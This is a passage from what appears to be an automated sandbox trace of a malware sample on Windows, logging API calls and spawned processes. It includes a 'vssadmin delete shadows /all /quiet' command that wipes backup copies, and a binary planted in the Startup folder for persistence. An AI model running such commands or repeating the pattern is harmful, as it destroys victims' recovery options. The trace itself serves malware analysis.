_String2=")") returned 60 [0259.285] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0259.285] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0259.285] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0259.285] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0259.285] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0259.285] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0259.285] GetProcessHeap () returned 0x24a1a690000 [0259.285] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb0) returned 0x24a1a690730 [0259.285] GetProcessHeap () returned 0x24a1a690000 [0259.285] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1a) returned 0x24a1a696330 [0259.286] GetConsoleOutputCP () returned 0x4e3 [0259.299] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0259.299] SetThreadUILanguage (LangId=0x0) returned 0x409 [0259.302] GetConsoleTitleW (in: lpConsoleTitle=0x7d41d0f7a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0259.322] malloc (_Size=0xffce) returned 0x24a1a940840 [0259.322] ??_V@YAXPEAX@Z () returned 0x24a1a940840 [0259.322] malloc (_Size=0xffce) returned 0x24a1a950820 [0259.322] ??_V@YAXPEAX@Z () returned 0x24a1a950820 [0259.322] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0259.322] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0259.322] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0259.322] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0259.322] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0259.322] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0259.322] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0259.323] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0259.323] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0259.323] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0259.323] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0259.323] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0259.323] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0259.323] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0259.323] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0259.323] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0259.323] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0259.323] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0259.323] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0259.323] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0259.323] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0259.323] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0259.323] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0259.323] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0259.323] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0259.323] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0259.323] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0259.323] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0259.323] ??_V@YAXPEAX@Z () returned 0x1 [0259.323] GetProcessHeap () returned 0x24a1a690000 [0259.323] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x14) returned 0x24a1a697610 [0259.323] GetProcessHeap () returned 0x24a1a690000 [0259.323] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1a) returned 0x24a1a696500 [0259.323] GetProcessHeap () returned 0x24a1a690000 [0259.324] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x21c) returned 0x24a1a6977c0 [0259.324] GetConsoleTitleW (in: lpConsoleTitle=0x24a1a6977d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0259.328] GetProcessHeap () returned 0x24a1a690000 [0259.328] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6977c0, Size=0x64) returned 0x24a1a6977c0 [0259.328] GetProcessHeap () returned 0x24a1a690000 [0259.328] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6977c0) returned 0x64 [0259.329] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0259.333] GetProcessHeap () returned 0x24a1a690000 [0259.333] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6977c0) returned 1 [0259.333] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0259.336] exit (_Code=2) Thread: id = 2581 os_tid = 0x2704 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xc55e000" os_pid = "0x26b0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x2698" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2562 os_tid = 0x26b4 Thread: id = 2569 os_tid = 0x26d0 Thread: id = 2576 os_tid = 0x26f0 Thread: id = 2578 os_tid = 0x26f8 Thread: id = 2579 os_tid = 0x26fc Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x29313000" os_pid = "0x548" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xdac" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1ac" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 2586 os_tid = 0xbd4 Thread: id = 2587 os_tid = 0xbd0 Thread: id = 2588 os_tid = 0x9a8 Thread: id = 2589 os_tid = 0x998 Thread: id = 2590 os_tid = 0x990 Thread: id = 2591 os_tid = 0x674 Thread: id = 2592 os_tid = 0x670 Thread: id = 2593 os_tid = 0x5ec Thread: id = 2594 os_tid = 0x5e8 Thread: id = 2595 os_tid = 0x5e4 Thread: id = 2596 os_tid = 0x54c Process: id = "12" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xd06d000" os_pid = "0x2718" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x2698" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2597 os_tid = 0x271c Thread: id = 2598 os_tid = 0x2728 Process: id = "13" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x67025000" os_pid = "0x2738" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x2698" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2599 os_tid = 0x273c Thread: id = 2600 os_tid = 0x2740 Thread: id = 2601 os_tid = 0x2744 Thread: id = 2602 os_tid = 0x2750 Thread: id = 2603 os_tid = 0x2760 Thread: id = 2604 os_tid = 0x2764 Process: id = "14" image_name = "load0.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe" page_root = "0x75320000" os_pid = "0xc6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdac" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2605 os_tid = 0x530 [0268.576] GetACP () returned 0x4e4 [0268.577] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.577] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.578] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.579] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.580] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.581] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.582] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0268.583] GetACP () returned 0x4e4 [0273.996] lstrlenA (lpString="%nl,") returned 4 [0273.996] lstrlenA (lpString="(.") returned 2 [0273.996] lstrcatA (in: lpString1="(.", lpString2="%nl," | out: lpString1="(.%nl,") returned="(.%nl," [0273.996] lstrlenA (lpString="wuU") returned 3 [0273.996] lstrlenA (lpString="./") returned 2 [0273.996] lstrlenA (lpString="P=\\") returned 3 [0273.996] lstrlenA (lpString="dj`q") returned 4 [0273.996] lstrlenA (lpString="*+#ej") returned 5 [0273.996] lstrlenA (lpString="e@8>+") returned 5 [0273.996] lstrcmpA (lpString1="z$B\"", lpString2="{esP") returned 1 [0273.999] lstrlenA (lpString="uy;R") returned 4 [0273.999] lstrlenA (lpString="0WF<") returned 4 [0273.999] lstrcatA (in: lpString1="dj`q", lpString2="P=\\" | out: lpString1="dj`qP=\\") returned="dj`qP=\\" [0273.999] lstrcmpA (lpString1="41", lpString2="nJ") returned -1 [0273.999] lstrcatA (in: lpString1="./", lpString2="wuU" | out: lpString1="./wuU") returned="./wuU" [0273.999] VirtualAlloc (lpAddress=0x0, dwSize=0x22b10, flAllocationType=0x1000, flProtect=0x4) returned 0x55f0000 [0273.999] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2a000, flNewProtect=0x40, lpflOldProtect=0x52a90f0 | out: lpflOldProtect=0x52a90f0*=0x2) returned 1 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.001] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.002] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.003] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.004] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.005] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP () returned 0x4e4 [0274.006] GetACP 